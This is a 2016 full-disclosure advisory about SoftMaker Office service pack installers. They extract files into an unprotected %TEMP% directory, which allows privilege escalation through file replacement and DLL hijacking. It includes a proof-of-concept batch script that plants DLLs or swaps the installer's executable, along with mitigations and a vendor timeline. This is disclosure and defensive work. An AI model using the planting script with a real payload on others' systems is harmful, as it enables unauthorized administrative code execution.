Date: Sat, 31 Dec 2016 13:16:30 +0100
From: "Stefan Kanthak" <stefan.kanthak@...go.de>
To: <bugtraq@...urityfocus.com>
Cc: fulldisclosure@...lists.org
Subject: [FD] Executable installers are vulnerable^WEVIL (case 43):
	SoftMaker's Office service pack installers allow escalation
	of privilege

Hi @ll,

the service pack installers for SoftMaker Office 201x, available
from <http://www.softmaker.com/en/servicepacks-office-windows>,
are (surprise.-) vulnerable.


The executable installer (OUCH) ofw16_763.exe, a 7z SFX (OUCH),
creates an UNPROTECTED directory "%TEMP%\7zSxxxxxxxx\" to extract
its payload, then executes "%TEMP%\7zSxxxxxxxx\spsetup.exe".

"%TEMP%\7zSxxxxxxxx\" inherits the NTFS access rights of its parent
"%TEMP%\", i.e. allows full access for the UNPRIVILEGED user.

For this well-known vulnerability see
<https://cwe.mitre.org/data/definitions/377.html> and
<https://cwe.mitre.org/data/definitions/379.html>


Due to the embedded application manifest which specifies
"requireAdministrator" the executable installer can only be run
with administrative rights.

JFTR: if written properly, it would create a PROTECTED directory
      "%TEMP%\7zSxxxxxxxx\", writable only for privileged users!

The UNPRIVILEGED user as well as any program running with the
users credentials can modify the extracted files, for example
"%TEMP%\7zSxxxxxxxx\spsetup.exe", which is executed with
administrative rights, resulting in arbitrary code execution
with elevation of privilege.

Additionally "spsetup.exe" is vulnerable to DLL hijacking,
another well-known vulnerability.
See <https://capec.mitre.org/data/definitions/471.html>,
<https://cwe.mitre.org/data/definitions/426.html>,
<https://cwe.mitre.org/data/definitions/427.html>
<https://technet.microsoft.com/en-us/library/2269637.aspx>,
<https://msdn.microsoft.com/en-us/library/ff919712.aspx> and
<https://msdn.microsoft.com/en-us/library/ms682586.aspx> plus
<http://blogs.technet.com/b/srd/archive/2014/05/13/load-library-safely.aspx>

Thanks to the unprotected directory "%TEMP%\7zSxxxxxxxx\" the
unprivileged user can write DLLs to "%TEMP%\7zSxxxxxxxx\" which
are loaded by "spsetup.exe", again resulting in arbitrary code
execution with elevation of privilege!


Proof-of-concept:
~~~~~~~~~~~~~~~~~

0. download <http://www.softmaker.net/down/ofw16_763.exe> and
   save it in an arbitrary directory;

1. download <http://home.arcor.de/skanthak/download/SENTINEL.DLL>
   (see <http://home.arcor.de/skanthak/sentinel.html> alias
   <https://skanthak.homepage.t-online.de/sentinel.html>) and
   save it in an(other) arbitrary directory;

2. save the following batch script in same the directory as
   SENTINEL.DLL:

--- OFW16_873.CMD ---
:WAIT
@If Not Exist "%TEMP%\7z*" Goto :WAIT
For /D %%! In ("%TEMP%\7z*") Do Set foobar=%%!
Copy "SENTINEL.DLL" "%foobar%\NTMARTA.DLL"
Copy "SENTINEL.DLL" "%foobar%\VERSION.DLL"
Copy "SENTINEL.DLL" "%foobar%\WINSPOOL.DRV"
--- EOF ---

3. start the batch script;

4. execute ofw16_873.exe and notice the message boxes displayed
   by SENTINEL.DLL.

PWNED!

5. download <http://home.arcor.de/skanthak/download/SENTINEL.EXE>
   to the same directory as the batch script;

6. in the batch script replace the 3 lines Copy ... with
   Copy "SENTINEL.EXE" "%foobar%\spsetup.exe"

7. start the batch script;

8. execute ofw16_873.exe and notice the message box displayed
   by SENTINEL.EXE.

PWNED!


Mitigations:
~~~~~~~~~~~~

* Don't use executable installers! NEVER!
  Don't use self-extractors! NEVER!

  See <http://seclists.org/fulldisclosure/2015/Nov/101> and
  <http://seclists.org/fulldisclosure/2015/Dec/86> plus
  <http://home.arcor.de/skanthak/!execute.html> alias
  <https://skanthak.homepage.t-online.de/!execute.html> for more
  information.

* Practice STRICT privilege separation: NEVER use the so-called
  "protected" administrator account(s) created during Windows
  setup which use the same "%TEMP%" for unprivileged and privileged
  processes!

* Add an ACE "(D;OIIO;WP;;;WD)" to the ACL of every "%USERPROFILE%";
  use <https://msdn.microsoft.com/en-us/library/aa374928.aspx> to
  decode it to "deny execution of files in this directory for
  everyone, inheritable to all files in all subdirectories".


stay tuned
Stefan Kanthak


Timeline:
~~~~~~~~~

2016-12-15    sent vulnerability report to vendor

              no reply, not even an acknowledegement of receipt

2016-12-23    resent vulnerability report to vendor, cc CERT at 
              german BSI

              no reply, not even an acknowledegement of receipt

2016-12-27    CERT at german BSI contacts vendor offering help

              no reply, not even an acknowledegement of receipt

2016-12-31    report published

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